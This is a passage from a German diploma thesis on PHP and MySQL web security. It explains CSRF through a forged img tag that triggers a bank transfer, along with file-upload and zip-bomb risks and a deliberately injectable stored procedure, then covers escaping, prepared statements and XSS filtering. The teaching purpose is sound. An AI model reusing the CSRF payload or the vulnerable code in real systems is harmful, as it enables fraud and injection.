Das nachfolgende Beispiel soll verdeutlichen, wie ein CSRF-Angriff abläuft. Be-vor ein Angreifer mit der Attacke beginnen kann, muss er zunächst Informationenüber das Opfer und dessen Aktivitäten einholen. In diesem Beispiel konnte derAngreifer in Erfahrung bringen, dass sein Opfer aktiv in einem Webforum mitliestund das Onlinebanking seiner Bank nutzt. Das Ziel des Angreifers ist es, eineAnfrage im Namen des Opfers an die Bank zu senden, um so eine Überweisungauf sein Konto vornehmen zu lassen. Auf der Webseite der Bank wird eine Über-weisung mittels GET55 vorgenommen56:

http://onlinebank.com/ueberweisung.php?

betrag=250&zielkonto=12345678

Zur Vereinfachung wird auf weitere Parameter in der URL verzichtet, das Prinzipbleibt natürlich dasselbe. Wird die o.g. URL aufgerufen prüft das Script zunächst,

54vgl. [KAMKAR 2005]55Sicherheitsrelevante Informationen werden beim Onlinebanking normalerweise per POST über-

tragen. Zur Vereinfachung wird in diesem Beispiel GET verwendet56vgl. [HEIDERICH et. al 2009, S. 506]

Page 48: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

39

ob der Benutzer angemeldet ist (in diesem Falle wird ein Session-Cookie ge-nutzt). Ist dies der Fall, wird eine Überweisung auf das Konto ’12345678’ mit demBetrag ’250’ vorgenommen.

Da der Login bei dem Onlinebanking nur mittels Benutzernamen und Passwortmöglich ist, kann ein Angreifer auf den ersten Blick keine Überweisung im Namendes Benutzers tätigen, ohne die Anmeldedaten zu kennen.

Hier kommt nun CSRF zum Zuge. Da der Angreifer die URL-Parameter beieiner Überweisung kennt, setzt er in dem Forum eine Antwort ab, in der sich einpräparierter img-Tag befindet57:

<img src=" http://onlinebank.com/ueberweisung.php?

betrag=250&zielkonto=12345678" />

Bei jedem Aufruf der Seite sendet der Browser eine Anfrage an den Bankserver,um das Bild abzurufen. Da es sich bei der URL offensichtlich um keine gültigeBilddatei handelt, sehen die Besucher des Forums je nach Browser, gar kein Bildoder nur ein kleines ’x’. Die meisten Besucher des Forums besitzen kein Kontobei der Bank, nutzen das Onlinebanking also nicht.

Dies sieht beim Opfer des Angriffs nicht wesentlich anders aus, auch dort wirdkein Bild angezeigt. Ein Unterschied besteht allerdings, da das Opfer ein Kun-de der Bank ist und zu dem Zeitpunkt beim Onlinebanking angemeldet ist. DerBrowser sendet eine Anfrage an die Bank und sendet architekturbedingt sämt-liche Cookies mit. Das Onlinebanking überprüft, ob der Benutzer eingeloggt ist.Da der Benutzer sich nicht korrekt abgemeldet hat, ist der Login noch gültig. DasÜberweisungsscript kann nicht unterscheiden, ob der Aufruf vom Benutzer ab-sichtlich getätigt wurde, oder ob er von einem präparierten img-Tag stammt. DieÜberweisung auf das Konto des Angreifers wird deshalb ohne Probleme ausge-führt. Dieses Beispiel verdeutlicht die enorme Gefahr, die von CSRF ausgeht. DerAngreifer konnte ohne mit dem Opfer in Kontakt zu treten die Attacke starten, dieeinzige Spur ist das Posting im Forum. Editiert der Angreifer den Post anschlie-ßend, oder nutzte er einen Proxyserver, kann er sich der Verfolgung sehr leichtentziehen.

Der oben beschriebene Angriff ist natürlich nicht nur gegen Onlinebankingerfolgreich (das normalerweise zu den wenigen Webanwendungen gehört, dieschon gegen CSRF gesichert wurden), die Methode funktioniert bei allen un-gesicherten Anwendungen. Ein Angreifer kann dann im Namen des Benutzersbeliebige Aktionen durchführen, seien es neue Posts in einem Forum, Mails übereine Schnittstelle versenden, etc.

57vgl. [KUNZ ESSER 2008, S. 113], [HEIDERICH et. al 2009, S. 506]

Page 49: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

40

3.7.2 Gefahren für das Intranet

Durch CSRF können nicht nur Requests auf Webseiten abgesetzt werden, son-dern auch Requests auf Seiten im Firmeninternen Netzwerk.58 Oftmals verwen-den Firmen freie Content-Management-Systeme oder freie Shopsysteme. Da derAngreifer bei Open Source Software die Struktur des Administrationsinterfacesehr leicht in Erfahrung bringen, bestehen auch hier große Gefahren. Unter Um-ständen kann so ein komplettes Redaktionssystem von einem Angreifer verän-dert werden. Ein Benutzer kann ebenfalls als Mittelsmann missbraucht werden,um einen Angriff auf eine Drittseite durchzuführen. Die Möglichkeiten von CSRFin Kombination mit XSS sind fast unbegrenzt.

3.8 Datei-Uploads

Dateiuploads gehören bei vielen Webanwendungen mittlerweile zum Standard.Foren erlauben ihren Benutzern oft den Upload von Bildern und Videos, aberauch von ZIP-Dateien oder anderen Archiven. Werden diese Dateien unzurei-chend geprüft, kann ein Angreifer unter Umständen den kompletten Server unterseine Kontrolle bringen, oder zumindest eine DoS-Attacke ausführen.

PHP-Code kann hinter den Headerinformationen eines Bildes versteckt wer-den. Prüft die Anwendung das Bild, erhält sie einen korrekten Bild-Header undgeht von einem gültigen Bild aus. Wird das Bild nicht per HTML sondern perinclude() eingebunden, wird der im Bild enthaltene PHP-Code ausgeführt. An-schließend kann der Angreifer über Funktionen wie eval() oder system() aufdie Kommandozeile Zugriff nehmen und wichtige Einstellungen verändern.

Einige Anwendungen erlauben den Upload von gepackten Dateien59, die an-schließend entpackt werden. Eine Textdatei mit dem Inhalt von einer Milliardemal den Buchstaben ’A’ ist Zip-Komprimiert nur wenige KB groß, nach dem Ent-packen jedoch ein Gigabyte60. So kann ein Angreifer den Hauptspeicher und dieFestplatte des Servers blockieren und eine hohe Last erzeugen, die zur Uner-reichbarkeit des Servers führen kann.

58vgl. [KUNZ ESSER 2008, S. 114]59z.B. .zip oder .tar60vgl. [KUNZ ESSER 2008, S. 193]

Page 50: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

41

4 Sicherungsmaßnahmen

Nachdem im Kapitel 3 die Risiken ausführlich dargestellt wurden, werden in die-sem Kapitel die Sicherungsmaßnahmen beschrieben, die zum Schutz von We-banwendungen ergriffen werden sollten.

4.1 Das Betriebssystem

Bei der Wahl des Betriebssystems besteht generell die Wahl zwischen einemWindows- oder Unixsystem. Da sehr viele Extensions und Module Windows nureingeschränkt unterstützen, sollte Unix als Betriebsystem zum Einsatz kommen.Auch kann über das Rechtesystem eine erweiterte Sicherheit hergestellt werden,die so auf Windows-Systemen nicht zur Verfügung steht.

4.2 PHP

Im Kapitel 3.1 wurden architekturbedingte Risiken von PHP erläutert. Nachfol-gend werden verschiedene Möglichkeiten vorgestellt, PHP selbst abzusichern.

4.2.1 Installation

PHP kann bei der Installation in Verbindung mit dem Apache Webserver in zweiverschiedenen Modi installiert werden. Zum einen als Apache-Modul oder alsCGI1. Wird PHP als Apache-Modul installiert, ist PHP immer geladen, was derGeschwindigkeit sehr entgegenkommt. Bei einer Modulinstallation stehen auchzahlreiche weitere Optionen zur Verfügung.

Kommt PHP als CGI zum Einsatz, wird bei jedem Scriptaufruf ein neuer Threadgestartet, was zur Folge hat, dass die Geschwindigkeit leidet. Allerdings kannbei der CGI-Installation PHP besser skaliert werden. Auch steht hier die ApacheSicherheitsoption suExec zur Verfügung die es erlaubt, PHP-Scripte für jedenvirtuellen Host unter einem anderen Betriebssystembenutzer und einer anderenGruppe ausführen auszuführen. So kann verhindert werden, dass Scripte eines

1Common Gateway Interface

Page 51: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

42

Benutzers auf Dateien eines anderen Benutzers zugreifen können. Sehr viele Ri-siken können durch diese Installationsart im Vorfeld schon ausgeschlossen wer-den. Viele Webhoster, die mehrere Kunden auf einem Webserver unterbringen,nutzen PHP als CGI.

4.2.2 Updates

Da PHP wie jede andere Software auch von Bugs und Sicherheitslücken betrof-fen ist, die ein Benutzer nicht selber schließen kann, müssen regelmäßig Updatesvorgenommen werden. Bevor jedoch Updates vorschnell installiert werden, sollteeinige Zeit abgewartet werden, ob das neue Update nicht neue Sicherheitslückenoder Bugs mit sich bringt. Als Beispiel kann die Veröffentlichung von PHP 5.2.7herangezogen werden. Kurz nach Vorstellung des Updates wurde bekannt, dassdie Option magic_quotes_gpc als aktiv angezeigt wird, obwohl sie tatsächlichdeaktiviert ist. Die Option magic_quotes_gpc escaped automatisch einfacheund doppelte Anführungszeichen, und bereitet vom User übergebene Werte füreine MySQL-Abfrage vor. Verlassen sich Programmierer auf diese Option, wirddie Anwendung anfällig für MySQL-Injections. Da es sich um einen schwerwie-genden Fehler handelte, wurde die PHP Version nach kurzer Zeit zurückgezogenund eine Empfehlung ausgesprochen, auf PHP 5.2.8 zu warten2.

4.2.3 register_globals

Wie in 3.1.2 bereits beschrieben, bringt die Option register_globals durchdie Umwandlung von GET- und POST-Requests in globale Variablen einige Si-cherheitsrisiken mit sich, wenn Scripte Variablen nicht vorher initialisieren. AusAbwärtskompatibilität zu älterer PHP-Software wird diese Option oftmals akti-viert. Seit der Version 5.3 ist diese Option als veraltet eingestuft und wird in PHP6 entfernt3. Aus diesen Gründen und Gründen der Sicherheit sollte die Optiondeaktiviert werden. So werden Programmierer auch gezwungen, vom Benutzerübergebene Werte über die jeweiligen GET- oder POST-Variablen zu verwenden.

4.2.4 allow_url_fopen / allow_url_include

Entfernte Scripte und Dateien in die eigene Webanwendung zu integrieren, kannwie in 3.1.3 beschrieben, zu Sicherheitslücken und unter Umständen zum Total-verlust des Servers samt Anwendung führen. Nutzt die Anwendung diese Op-tionen nicht, können die jeweiligen Direktiven abgeschaltet werden. Durch das

2vgl. [PHP 2008]3vgl. [PHP 2009(7)]

Page 52: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

43

Deaktivieren der Direktiven können Programmierer auch dazu gezwungen wer-den, andere Möglichkeiten für die Informationsübergabe von fremden Servern zunutzen.

4.2.5 Safe Mode

Der Safe Mode ist eine Sicherheitsoption die prüft, ob das aktuell ausgeführteScript auf Dateien von anderen Benutzern zugreift.4 Ist das der Fall, wird derZugriff blockiert. Allerdings kann es bei der Nutzung von verschiedenen PHP-Extensions zu Problemen kommen, da nicht alle Extensions den Safe Mode be-achten. Auch kann es beim Dateiupload zu Problemen kommen, da die Dateiennach dem Upload (sofern dieser per HTTP und nicht per FTP erfolgt ist) nichtdem FTP-Benutzer des jeweiligen virtual Hosts gehören, sondern dem Webser-ver. Weitere Manipulationen können danach nur vom Webserver, also PHP selbstvorgenommen werden. Eine Lösungsoption könnte ein vom Benutzer root aus-geführter Crontab sein, der bei neuen Dateien automatisch die Benutzer- undGruppenzugehörigkeit zu korrigieren.

4.2.6 Externe Sicherheitsmodule

Um PHP abzusichern gibt es verschiedene Externe Module und Software, diefrei zum Download angeboten werden. Viele dieser Module erweitern spezielleFunktionen und erlauben z.B. die Ausführung von Scripten mit anderen Berechti-gungen5.

Ein sehr bekannter PHP-Patch ist der von Stefan Esser entwickelte Suhosin-Patch6. Suhosin sichert PHP gegen Buffer-Overflows und String-Schwachstellen7.Ebenfalls abgesichert werden Remote-Includes, NULL-Bytes und Header-Injections.Der Administrator kann auch bestimmte Funktionen sperren und so den Program-mierer zwingen, andere Funktionen zu nutzen.

4.3 MySQL

Grundsätzlich sollte die Webanwendung niemals mit dem MySQL root-Accountarbeiten. Gelingt einem Angreifer eine SQL-Injection, kann diese die kompletteDatenbank- und Tabellenstruktur ändern und sogar neue Benutzer anlegen. Der

4vgl. [PHP 2009(12)]5vgl. [MARSCHING 2008]6vgl. [ESSER 2007]7vgl. [NEWSHAM 2000]

Page 53: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

44

Benutzer root sollte ausschließlich für die Konfiguration genutzt werden, jedochnie in einem Produktivsystem. Für den Gebrauch in einer Webanwendung ist einneuer Benutzer anzulegen, der nur Daten anzeigen und ändern darf (SELECT,INSERT, UPDATE, DELETE und unter Umständen noch FILE). Strukturänderun-gen (CREATE, ALTER, etc.) werden in der Regel von der Webanwendung selbernicht vorgenommen, weshalb dem Benutzer diese Rechte auch nicht zugewiesenwerden sollten. Wie bei PHP sollte der MySQL Server ebenfalls regelmäßig geu-pdated werden um so die neuesten Sicherheitsfeatures und Bugfixes zu erhalten.

4.4 Apache-Webserver

Bei dem Apache-Webserver sollten, wie bei PHP und MySQL, regelmäßig Upda-tes eingepflegt werden, um so Bugfixes und neue Features zu erhalten.

Für den Apache-Webserver stehen verschiedene Module zur Verfügung, diedie Sicherheit erhöhen sollen. Ein sehr bekanntes Sicherheitsmodul für den Apache-Webserver ist mod_security. Laut Herstellerbeschreibung8 ist mod_securityeine ’Web Application Firewall’. Das Modul kann mit verschiedenen Regeln aus-gestattet werden und filtert anhand dieser Regeln den Datentransfer. Allerdingsmuss der Administrator diese Regeln selber erstellen, da das Modul zunächstkeine umfassenden Regeln bereitstellt. Unerfahrene Administratoren können da-durch den Webserver in Gefahr bringen, wenn durch neue Regeln Sicherheits-lücken erst entstehen. Jede Regel muss deshalb gründlich getestet werden, bevorsie auf dem Produktivsystem übernommen wird. Wie bei vielen Firewalls entste-hen durch mod_security Performanceeinbußen.

4.5 SQL-Injections

PHP stellt dem Programmierer einige vorgefertigte Funktionen zur Verfügung,mit denen vom Benutzer übergebene Variablen behandelt werden können, umdie Anwendung vor SQL-Injections zu schützen.

4.5.1 Escaping

Um zu verhindern, dass Angreifer einfache oder doppelte Anführungszeichen da-zu benutzen, um aus dem MySQL-Statement auszubrechen, müssen die über-mittelten Werte mit escaped werden. Dabei werden einfache und doppelte Anfüh-

8vgl. [BREACH 2008]

Page 54: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

45

rungszeichen, sowie der Backslash mit einem zusätzlichen Backslash maskiert.Folgende Funktionen können dafür verwendet werden:

• addslashes()9 maskiert einfache und doppelte Anführungszeichen, denBackslash und das NULL-Byte. Der Backslash wird in der Datenbank ge-speichert, nach dem Auslesen muss dieser mit der Funktion stripslashes()entfernt werden.

• mysql_real_escape_string()10 maskiert, wie addslashes(), einfacheund doppelte Anführungszeichen, das NULL-Byte, zusätzlich auch noch fol-gende Zeichen: \x00, \n, \r und \x1a.

• magic_quotes_gpc11 Diese Option kann in der Konfigurationsdatei akti-viert werden und wendet die Funktion addslashes() automatisch auf dievom Benutzer übergebenen GET-, POST- und COOKIE-Werte an. Seit PHP5.3 ist diese Einstellung veraltet und soll in der Version 6 entfernt werden.

Unter besonderen Umständen ist es dem Angreifer trotz Escaping möglich, ausAnführungszeichen auszubrechen und eine SQL-Injection zu verursachen. Wer-den in der Datenbank die Character Sets big5, cp932, gbk oder sjis genutzt,kann der Angreifer die Anführungszeichen in Multibyte-Kodierung übergeben, an-stelle von normalen Klartext. Die Multibyte-Zeichen werden von der Datenbankanschießend wie ein normaler Text behandelt wird. PHP erkennt diese Zeichennicht, kann also kein Escaping vornehmen. Aus diesem Grund sollten die obengenannten Character Sets nicht verwendet werden12.

4.5.2 Casting

Erwartet die Anwendung einen numerischen Wert (z.B. int, float), wird die-ser meist ohne Anführungszeichen im Datenbankstatement verwendet. Da derAngreifer in diesem Fall nicht aus bereits vorhandenen Anführungszeichen aus-brechen muss, muss er diese nicht mit übermitteln. Ein Escaping ist in diesem Fallvollkommen wirkungslos. Der Programmierer muss in diesem Falle eine Typen-prüfung oder zumindest eine Typenkonvertierung13 vornehmen, um SQL-Injectionszu verhindern. PHP bietet für die Prüfung auf Zahlen eine vorgefertigte Funktion.is_numeric() prüft, ob die übergebene Variable eine Zahl ist 14. Alternativ kannder Programmierer bei der Zuweisung der Variable ein Casting vornehmen:

9vgl. [PHP 2009(13)]10vgl. [PHP 2009(14)]11vgl. [PHP 2009(15)]12vgl. [HEIDERICH et. al 2009, S. 574]13Casting14vgl. [PHP 2009(8)]

Page 55: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

46

$zahl = (int)$_POST[’zahl’];

Hier erhält die Variable $zahl einen vom Benutzer per POST übergebenen Wert.Durch das Konstrukt (int) gibt der Programmierer eine zusätzliche Typenkon-vertierung vor. Der PHP-Parser versucht die übergebene Variable in einen Integer-Wert umzuwandeln. Ist dies nicht möglich, erhält die Variable den Wert ’0’.

4.5.3 Blacklist-Filterung

Einige Programmierer versuchen über Blacklists verschiedene Schlüsselworte zufiltern, damit diese nicht für eine SQL-Injection verwendet werden können. Aller-dings müssen verschiedene Punkte beachtet werden. Zum einen darf der Filternicht zwischen Groß- und Kleinschreibung unterschieden, Leerzeichen müssenebenfalls ignoriert werden.

Die gefilterten Wörter können durchaus auch in einer legitimen Übermittlungvorkommen, eine Filterung würde die Übermittlung zumindest teilweise verstüm-meln. Auch können neue Angriffsmuster entwickelt werden, gegen die eine Black-list wirkungslos wäre.

4.5.4 Prepared Statements

Durch die relativ neue MySQL-Extension mysqli15 besteht in PHP die Mög-lichkeit, Prepared Statements zu nutzen. Dabei bereitet ein Funktionsaufruf dasMySQL-Statement vor, über eine zweite Funktion können dann Werte übergebenwerden16:

"[...]

// Das Statement vorbereiten

$stmt = mysqli_prepare($res, "INSERT INTO users VALUES

(?, ?, ?, ?)");

// Parameter daran binden

mysql_bind_param($stmt, ’sssi’, $name, $vorname, $email,

$alter);"

Bei diesem MySQL-Statement wird Architekturbedingt automatisch einmysql_real_escape_string auf die übergebenen Werte angewendet. Injec-tions können nicht eingeschleust werden.

15vgl. [PHP 2009(4)]16vgl. [KUNZ ESSER 2008, S. 141]

Page 56: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

47

4.5.5 Stored Procedures

Seit MySQL 5.0 stehen ’Stored Procedures’ zur Verfügung. Dort können verschie-dene Statements gespeichert werden. Der Programmierer kann über die Weban-wendung auf diese Stored Procedures zugreifen. Da nur der Programmierer nichtauf die Tabellen selber zugreifen kann, sind Abfragen nur über die Stored Pro-cedures möglich. Allerdings schützen Stored Procedures nicht automatisch vorSQL-Injections, auch hier muss auf eine korrekte Implementierung geachtet wer-den17:

"CREATE PROCEDURE mitarbeitersuche

@suchstring varchar(400)=NULL

AS

DECLARE @query nvarchar(4000)

SET @query = ’SELECT id, name, password FROM user

WHERE name LIKE ’’’ + @suchstring + ’’’’

EXEC (@query)"

Diese Stored Procedure ist anfällig für SQL-Injections, da der Parameter ’such-string’ direkt in das Query eingefügt wurde und nicht in der per EXEC übergebenwird. Eine leicht veränderte Syntax sichert die Procedure gegen SQL-Injections18:

"CREATE PROCEDURE mitarbeitersuche

@suchstring varchar(400)=NULL

AS

DECLARE @query nvarchar(4000)

SET @query = ’SELECT id, name, password FROM user

WHERE name LIKE @suchstring’

EXEC sp_executesql @query,

N’@suchstring varchar(400)’, @suchstring"

4.6 Header-Injections

Um die in 3.4 beschriebene Header-Injections zu verhindern, muss die vom Be-nutzer übermittelte Mailadresse auf eine korrekte Syntax geprüft werden. Dieskann mit einer Regular Expression erreicht werden19:

17vgl. [HEIDERICH et. al 2009] S. 54418vgl. [HEIDERICH et. al 2009] S. 54519vgl. [KUNZ ESSER 2008, S. 67]

Page 57: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

48

"preg_match("#^[$x]+(\.?([$x]+ \.)*[$x]+)?

(([a-z0-9]+-*)?[a-z0-9]+ \.)+[a-z]{2,6}.?#",

$_POST[’absender’])"

Wird eine Zeichenkette übermittelt, bei der es sich nicht um eine E-Mail-Adressehandelt, gibt die Funktion ’false’ zurück. Der Programmierer kann so sicherstellen,dass vom Benutzer keine Header-Informationen eingeschleust werden.

Nach Möglichkeit sollte die mail()-Funktion von PHP nicht direkt genutzt wer-den, sondern nur über eine Schnittstelle. Dazu gibt es im Internet Open SourceKlassen, wie z.B. PHPMailer20. Dort sind schon zahlreiche Sicherheitsfunktionenimplementiert, die Schadhafte Eingaben erkennen.

Der vom Benutzer übermittelte Betreff und Inhalt sollte ebenfalls auf XSS über-prüft werden. Verschickt die Anwendung die Mails im HTML-Format, kann auchdort JavaScript ausgeführt werden. Deshalb sollten Benutzereingaben mit derPHP-Funktion htmlentities() behandelt werden.

4.7 NULL-Byte-Injections

Damit Benutzereingaben gar nicht erst durch NULL-Bytes aus einer festgelegtenStruktur ausbrechen können, sollten die übermittelten Werte nie ungeprüft Teil ei-ner include()- oder file_get_contents()-Funktion sein. Ein dynamischesInclude kann über ein Array erreicht werden21:

"<?php

$files = array(’page1.php’, ’page2.php’, ’page3.php’);

if ( in_array($_GET[’page’],$files) )

include ($_GET[’page’]);

else

echo ’Kein Zugriff erlaubt!’;

?>"

In diesem Konstrukt wird geprüft, ob der übermittelte Wert ebenfalls im Arrayvorhanden ist. Ist dies der Fall, wird die include()-Funktion aufgerufen, an-sonsten erhält der Benutzer eine Meldung, dass ein Zugriff nicht gestattet wurde.So kann auf einfache Weise verhindert werden, dass ein Angreifer eine Remote-oder Local-File-Inclusion vornehmen kann.

20vgl. [WORX 2009]21vgl. [KUNZ ESSER 2008, S. 60]

Page 58: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

49

4.8 Cross-Site Scripting erkennen und verhindern

Um XSS zu verhindern sollten Benutzereingaben ausreichend gefiltert werden.Bei der Filterung spielt es zunächst keine Rolle, ob es sich um einen reflektivenoder persistenten Angriff handelt. Lediglich bei lokalen Attacken müssen andereFilter verwendet werden, da hier die Webanwendung komplett umgangen wird.Problematisch kann es ebenfalls werden, falls Benutzer HTML übergeben dür-fen, z.B. über einen WYSIWYG-Editor22. Wie verschiedene Filter greifen und wiediese eingesetzt werden sollten, wird nachfolgend beschrieben.

4.8.1 Kodierungen umwandeln und NULL-Bytes entfernen

Bevor vom Benutzer übergebene Zeichenketten mit Filtern behandelt werden,sollten die Zeichenketten dekodiert werden. Wie beschrieben, kann ein AngreiferXSS auch mit Hilfe von kodierten Zeichenketten in die Anwendung einschleusenoder diese mit NULL-Bytes unkenntlich machen. Zunächst sollten NULL-Bytesentfernt werden. Dabei ist zu beachten, dass nicht nur reguläre NULL-Bytes,wie ’\0’ entfernt werden, sondern auch exotischere Konstrukte, wie z.B. UTF-16NULL-Bytes. Folgender Ausdruck entfernt UTF-16 NULL-Bytes:

preg_replace(’#(&\#x*)([0-9A-F]+);*#iu’,"\\1\\2;",$source);

Wurden alle NULL-Bytes entfernt, kann die Zeichenkette dekodiert werden. Dabeisollten Dezimal- und Hexadezimale Zeichen umgewandelt werden.

preg_replace(’/&#x([a-f0-9]+);/mei’,"chr(0x\\1)", $source);

Hier werden Hexadezimale Zeichen in Latin-Zeichen umgewandelt. Anschließendkann die so behandelte Zeichenkette weiter von PHP bearbeitet werden.

4.8.2 HTML entfernen

Wenn Benutzer kein HTML übermitteln dürfen, sollten HTML-Tags entfernt, oderzumindest in ungefährliche Zeichen umgewandelt werden. PHP stellt dafür ver-schiedene Funktionen zur Verfügung. Zunächst sollte die Benutzereingabe mitstrip_tags()23 behandelt werden.

$source = strip_tags($source);

22What You See Is What You Get23vgl. [PHP 2009(16)]

Page 59: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

50

Diese Funktion entfernt sämtliche HTML-Tags, wie <script> oder <body>. An-schließend ist es empfehlenswert, die noch verbliebenen potenziell gefährlichenZeichen mit htmlentities()24 umzuwandeln, mit der zusätzlichen OptionENT_QUOTES:

$source = htmlentities($source, ENT_QUOTES);

Die Option ENT_QUOTES sorgt dafür, dass einfache und doppelte Anführungszei-chen in HTML-Entitäten umgewandelt werden. Aus ’"’ wird ’&quot;’. So kannein Angreifer nicht durch verschachtelte Zeichen aus Anführungszeichen ausbre-chen.

Trotz Dekodierung ist es empfehlenswert bei der htmlentities()-Funktionden Zeichensatz anzugeben. Dieser wird als zweite Option in der Funktion ver-wendet:

$source = htmlentities($source, ENT_QUOTES, ’UTF-8’);

Zusätzlich sollte bei der anschließenden Ausgabe der Zeichensatz im Headermitgegeben werden, damit der Browser alle Zeichen korrekt darstellt.

4.8.3 HTML erlauben

In vielen neuen Webanwendungen, wie Blogs und neueren Foren, soll der Be-nutzer HTML zur Formatierung seines Beitrags übermitteln dürfen. In diesem Fallkann die Eingabe nicht mit strip_tags() und htmlentities() behandeltwerden. Viele Programmierer stehen deshalb vor dem Problem, wie HTML grund-sätzlich erlaubt, Scripting aber verboten werden kann. Nachfolgend werden ver-schiedene Techniken aufgezeigt, wie dieser Anforderung begegnet werden kann.

4.8.3.1 BBCode

BBCode25 ist eine nicht standardisierte Auszeichnungssprache, die oft in ForenVerwendung findet26. Die Syntax ist an HTML angelehnt, viele Elemente unter-scheiden sich nur durch die Schreibweise. So formatiert ’[b]fett[/b]’ den Textfett, analog zur HTML-Schreibweise ’<b>fett</b>’. Der Unterschied liegt hierlediglich in der Verwendung unterschiedlicher Klammern. Da Webbrowser BBCo-de als reinen Text darstellen, muss ein serverseitiges Script den BBCode parsenund durch HTML ersetzen. Da nur bekannter BBCode geparst wird, kann kein

24vgl. [PHP 2009(17)]25Bulletin Board Code26vgl. [KUNZ ESSER 2008, S. 97]

Page 60: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

51

zusätzlicher Code von einem Angreifer eingeschleust werden. Dieser würde nurals normaler Text im Browser ausgegeben werden und kann keinen Schaden an-richten.

Die Stärke des BBCodes ist gleichzeitig jedoch der größte Nachteil. Im Ver-gleich zu HTML ist BBCode sehr unflexibel, komplizierte Konstrukte sind oft nichtmöglich. Benutzer können nur begrenzt Attribute (wie z.B. Farbe oder Größe)vorgeben, ein erweitertes Styling von Elementen ist nicht möglich.

4.8.3.2 HTML-Filter

In einigen neuen Webanwendungen sind WYSIWYG-Editoren integriert. Dieseerlauben dem Benutzer Text in Echtzeit zu formatieren, ohne sich um BBCo-de oder HTML selbst zu kümmern. Diese Editoren übermitteln beim AbsendenHTML an die Anwendung. In einigen Fällen kann der Benutzer zusätzlich denCode im Editor verändern und so selbst HTML übergeben.

In diesen Fällen muss in der Webanwendung eine Filterfunktion vorhandensein, die alle Eingaben des Benutzers überprüft. Bei HTML-Filtern gibt es zweiverschiedene Ansätze. Zum einen ist es die Blacklist-Prüfung, bei der gefährlicheElemente aus der Eingabe entfernt werden. Bei der Filterung werden anhandeiner vom Administrator vorgegeben Liste Elemente entfernt. Der zweite Ansatzist die Filterung mit einer Whitelist. Im Gegensatz zur Blacklist, bei der Elementeaufgrund einer Liste entfernt werden, werden bei einer Whitelist Elemente anhandeiner Liste erlaubt, der Rest wird entfernt.

Grundsätzlich ist die Whitelist-Filterung einer Blacklist vorzuziehen. Da bei ei-ner Blacklist alle Angriffe bekannt sein müssen, damit der Filter greift, kann einAngreifer, der einen neuen Ansatz verfolgt, ohne Probleme die Blacklist umgehen.Selten enthält eine Blacklist alle möglichen Angriffe, sie muss deshalb regelmäßigaktualisiert werden. Angreifer sind der Blacklist also immer einen Schritt voraus.Aus diesem Grund sollte der Whitelist-Ansatz verfolgt werden. Hier kann ein An-greifer auch durch neue Muster den Filter nicht umgehen, da alle nicht erlaubtenElemente von vorne herein gefiltert werden.

Ein prominenter Whitelist-Filter ist der ’HTML Purifier’27. Anders als bei denmeisten Filtern verwendet der HTML Purifier keine regulären Ausdrücke um HTMLzu prüfen. Aus dem übermittelten HTML wird von dem Programm ein DOM28-Baum erstellt. Dort werden alle Tags, Attribute und Scripts entfernt, die nicht spe-zifiziert wurden. Anschließend wird aus dem DOM-Baum wieder HTML generiertund ausgeliefert29. Leider benötigt der HTML Purifier durch seine komplexe Struk-

27vgl. [YANG 2009]28Document Object Model29vgl. [YANG 2009(2)]

Page 61: Diplomarbeit - Sicherheit von PHP- und MySQL-basierten ... · FOM Fachhochschule für Oekonomie und Management Düsseldorf Berufsbegleitender Studiengang zum Diplom-Wirtschaftsinformatiker

52

tur ein gewisses Maß an Rechenzeit. Um diesem Aspekt Genüge zu tragen, gibtes eine standalone Version, die die Geschwindigkeit erhöhen soll.

4.8.4 Lokale Angriffe verhindern

Wie bereits beschrieben, wird das Backend der Webanwendung bei lokalen An-griffen umgangen, so dass die Eingaben gar nicht erst einen Filter durchlaufen.

